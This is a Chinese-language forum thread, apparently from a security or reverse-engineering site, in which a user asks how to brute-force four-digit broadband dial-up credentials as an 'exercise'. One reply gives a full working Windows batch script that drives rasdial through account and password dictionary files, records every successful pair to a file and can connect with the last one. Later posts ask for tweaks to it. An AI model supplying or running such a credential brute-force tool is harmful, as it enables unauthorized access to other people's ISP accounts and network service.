首页
社区
课程
招聘
[求助]最简单的密码破解练习,我却不会!
2013-8-30 21:46 10117

[求助]最简单的密码破解练习,我却不会!

2013-8-30 21:46
10117
题目是这样的,每个人有一台电脑,电脑的宽带连接的帐号和密码一样是4位数,请利用自动循环让系统自动从0000到9999的循环输入密码和帐号,并登陆宽带连接成功!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
打赏
分享
最新回复 (10)
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hustzhl 2013-8-30 22:09
2
0
这是破解吗,看题目貌似是让你写出脚本的算法吧,破解的话应该不需要从0000-9999的.直接爆破或者OD跟踪找到正确的答案吧.
雪    币: 115
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fesfes 2013-8-31 01:13
3
0
@title 宽带账号批量连接检测批处理

@echo off & setlocal enabledelayedexpansion

set userfile=宽带账号.txt
set passfile=宽带密码.txt
set pppname=宽带连接
set outfile=成功连接.txt

:choose
echo.&echo 本批处理实现以下功能:
echo.&echo     1 - 创建 !pppname!(配合模拟按键实现)
echo.&echo     2 - 测试固定的宽带账号及密码
echo.&echo     3 - 宽带账号固定,密码从文本 %adslpass% 里提取逐一测试
echo.&echo     4 - 宽带密码固定,账号从文本 %adsluser% 里提取逐一测试
echo.&echo     5 - 宽带账号及密码均从以上文本里提取逐一测试
echo.&echo     0 - 退出批处理
echo.&set /p choose=请输入你选择的序号并回车:

if %choose% equ 0 exit
if %choose% equ 1 goto :buildppp
if %choose% equ 2 goto :user1pass1
if %choose% equ 3 goto :user1passx
if %choose% equ 4 goto :pass1userx
if %choose% equ 5 goto :userxpassx

cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose


:buildppp
::创建新宽带连接
set vbs=buildppp.vbs
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo strCommandLine = "rasphone -a ""!pppname!"""
echo WshShell.Run^(strCommandLine^)
echo WScript.Sleep 1000
echo WshShell.SendKeys "R"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo Set WshShell = Nothing
)>"%vbs%"
cscript //nologo "%vbs%"
del "%vbs%"
goto :exit

:user1pass1
echo.&set /p user=请输入宽带账号:
echo.&set /p pass=请输入宽带密码:
call :check1
goto :exit

:user1passx
set user=改成固定的宽带账号
call :check0
for /f "tokens=*" %%a in ('type "%passfile%"') do (
  if !end! equ 1 (set end=&goto :exit)
  set pass=%%a&call :check1
)
goto :exit

:pass1userx
set pass=改成固定的宽带密码
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
  if !end! equ 1 (set end=&goto :exit)
  set user=%%a&call :check1
)
goto :exit

:userxpassx
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
  set user=%%a
  call :check2
)
goto :exit

:exit
::如果要连接最后一组成功的账号密码的话请取消下一行的前面两个冒号
::rasdial "!pppname!" !lastuser! !lastpass! >nul
echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit

:check0
rasdial|find "已连接">nul
if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof

:check1
echo.&set /p str=正在连接账号 !user!=!pass! <nul
rasdial "!pppname!" !user! !pass! >nul
rasdial|find "已连接">nul
if !errorlevel! equ 0 (
  echo [连接成功]
  echo>>"%outfile%" !user!=!pass!
  set lastuser=!user!
  set lastpass=!pass!
  set end=1
) else (echo.)
rasdial "!pppname!" /d >nul
goto :eof

:check2
for /f "tokens=*" %%b in ('type "%passfile%"') do (
  if !end! equ 1 (set end=&goto :eof) 
  set pass=%%b
  call :check1
)
goto :eof



保存bat
雪    币: 90
活跃值: (91)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xouou 2013-8-31 08:08
4
0
感谢分享,版区有你更精彩!
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 11:10
5
0
你真的好厉害,崇拜!我有空测试下,但是这是利用什么原理么,text 要从0000 写到9999 每个数字空格么?
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 11:13
6
0
我是菜鸟!悲催的开始,笨蛋的不行。
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 11:22
7
0
大哥,题目好像没说明白,帐号和密码是相同的,然后测试从0000到9999开始测试 其中有一组是正确的,,比如帐号是1000 那么密码也是1000  让他自动链接宽带。
雪    币: 115
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fesfes 2013-8-31 16:17
8
0
弄个生成器  这个是字典跑的
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 20:09
9
0
我用c写了一个tex  把0000到9999都搞进去了 赫赫
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 20:27
10
0
我运 字典文件怎么让他找到呀
雪    币: 68
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wansichao 2013-8-31 20:44
11
0
我能跑第123个,但4和5个不能跑 而且速度非常慢,请问能不能改下代码  就是密码和帐号是相同的情况来解决这个问题
游客
登录 | 注册 方可回帖
返回